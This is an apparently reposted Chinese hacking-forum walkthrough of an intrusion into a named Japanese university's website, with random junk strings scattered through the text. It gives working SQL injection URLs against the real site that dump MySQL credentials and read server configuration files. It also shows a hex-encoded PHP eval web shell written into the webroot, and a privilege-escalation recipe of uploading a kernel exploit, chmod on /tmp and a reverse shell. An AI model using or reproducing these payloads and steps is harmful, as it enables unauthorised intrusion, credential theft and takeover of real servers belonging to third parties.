入侵日本同志社大学技术分析
$ X1 t- e0 p* I9 S' j7 |' }3 a3 E7 t6 U2 [- k) t" c
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
, {; Q% k# Y1 a/ N然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
0 B% {# R7 h/ N
' Z& l9 ]- A+ o. ^. e. E: ghttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
: p; N* E& j- j4 g9 Z
0 d# F4 }+ V [ 3 N. ]" ?1 t" f" @, a
: R& ^5 P2 l+ P* w//@@datadir为数据库文件路径
! M- t6 F3 g" k7 e
& O" W2 x& w o7 N# t1 U# I0 Q: P0 }0 T/ g5 E
//load_file读取网站容器apache的配置文件
% N0 M3 w* |, `+ v6 A; [
) U7 x' X% O2 C. c8 C0 L3 ^* T/ u0 m( O6 D
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
# l8 Q4 l# s+ z# r( W! ]复制代码
( D. }( j# u' ~- Y% X5 s
, i+ q- Y+ D; F" L2 x) @虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
5 c/ ~+ m. c3 b' P% t8 }, A" a/ g. N
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。7 e/ C1 M3 k/ V- A5 @
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)% y# I9 T( ~) {( U% @ t2 b* W; u
v% C4 L$ W% V- _1 ]+ c
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。/ D/ B( j+ b; d
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html* r* g# q/ ?2 v: W& k, q
# T0 Q& e3 d) f" X
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/ ]9 P: n( z) Q1 e+ l0 i1 ]
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
7 h+ J3 c+ o2 Y ]5 m- S7 D直接写一句话: i" A4 K- V; g! u2 h# H
3 f( s5 P3 T+ }9 P( N; g* V9 x" Rhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
5 v7 L/ R$ y/ c3 G% M4 F4 z; Y' y( p$ R
! A$ {% c1 C; x- P+ ?
' Q/ p7 j) Y: e. \) Y* ^6 A3 ^) M- D//最后的#是为了闭合前面的语句
4 Y' H* O% r0 h5 Y6 F
0 F% }" q( i/ H* }
- `3 V& M% f& }7 B/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
3 }7 d, X/ p( ^' o; D; z0 K6 B
* w: A) ]) Q5 b, B5 c% o4 L8 B0 M0 G6 ^, U* Q
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
+ i5 S; K0 s. d; ^/ I* C3 i
* |& \5 B, F; q+ p$ a @
5 @+ M$ ]- K5 N; {* S& B, p//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
5 G2 U/ s% R0 @( ] & W3 F( c" L2 x9 K9 M4 O+ Q% ?% u
8 Y2 w5 L9 y1 Q# D w//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
2 L8 ~; e6 \* v5 d7 J5 v* |//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” 2 p% |2 n( n1 ]/ `
复制代码8 m( o/ K9 p2 T y9 z
1 r" I5 x& R# a" Y2 |- q7 `4 D& dHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
5 L2 Y; n# R. Y6 i. B! n2 ^+ \0 E通过上述注入语句,我们就得到了一句话木马:0 ]/ Q4 C: d/ m h: _: v
1 s* g9 C% c P5 X2 a 4 j/ b3 a$ Y" g0 H' T
, T3 d3 t: [$ d3 M: }3 s
0 d, q5 @% i$ ^1 R$ R @: t; ~$ G! S
) Y- L8 D5 \% D: j4 x
http://www.doshisha.ac.jp/english/engnews_img/aa.php ) Z& Q% h' ]: N4 h4 @: o
复制代码+ B% A. ?* `9 i s* y
, |* x W, H2 T5 w2 k- g
用菜刀连接,密码是cmd,如图所示:
6 }- k7 Y- [' G. V* f然后在命令提示行里看了一下,现在的权限是:0 l, K, x0 ^$ t
% p, L; x1 S# i8 `) V6 M( G! \
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
5 ~5 X: P% Y7 D4 o; A好在赋权给这个文件夹不需要root,直接执行赋权语句:
8 @) X \& ^+ e: M2 M7 j
+ d$ L7 C# e) n# Q
1 z6 M ^: y0 Z) v7 m2 r$ ]% ~- h6 a$ _; S' r$ }- f" A) o
: a+ }/ J0 I& z$ @$ }* @2 m' U9 Z1 f. @) h# \: `
chmod +x /tmp/ 5 A& V5 I, l) }5 r" N' I
复制代码- i! F$ j0 ~9 E) s0 V
+ R' }; P* b7 k5 n$ j4 F" l在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行4 \0 J* N5 I7 e* C/ _0 s
然后就查了一下内核版本:
9 R, A9 ~% |# m( t+ h1 f% W" T3 Z' f1 t8 \6 E, u* [, T
5 F# S, g6 i7 T( T
9 ~1 S7 n8 q" M Q l4 Z7 j5 r, o& @+ p* H
/ n2 o9 Z! O7 P luname-a , ~" _+ N3 C6 N% F( L% b8 h; j
+ p8 k5 `5 | T7 N
) B7 J2 p% n8 P8 {8 h7 _//其实lsb_release -a
+ K5 C {) K- c* v: |, e复制代码( g' O2 S: }8 |! I
4 f( d$ G% F) Y; X
如图所示:
% `/ [% {! s! A% x$ _/ P1 [* v) S2 b3 E- J' X% M) I" k( g
内核版本:linux mainz1 2.6.28-194.e15& o- N% \, _5 Q, H: {( D
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
, i# X! p0 x5 O查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹# n+ D0 b& U# {3 M
( S7 x! L' h6 e% W- D9 x! V
然后给予执行权限0 Z6 B+ M: n% K( w
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
2 ~6 h! l" M" L2 E, K$ o
+ p# \; M. f7 e% [ 6 f$ }, C, w- E
) i1 O+ y. C. z0 Y% @ V" \, D # m7 D ?1 s) j! @5 i5 g
9 ^! z1 W1 z6 D* K& Hchmod +x /tmp/2.6.18-194
0 E$ U6 z4 T0 M/ q复制代码 然后直接执行!~
( v3 l2 G/ g1 Q; G& J) c: I) V5 \% Y. p$ q
总结:
3 P: b- M7 h- w* d, u* R这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了3 f5 K$ X1 R% {' s) p; s
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root/ k3 W1 X" }8 t( Q) j0 ]: d
# I, X: n( ~ f& a |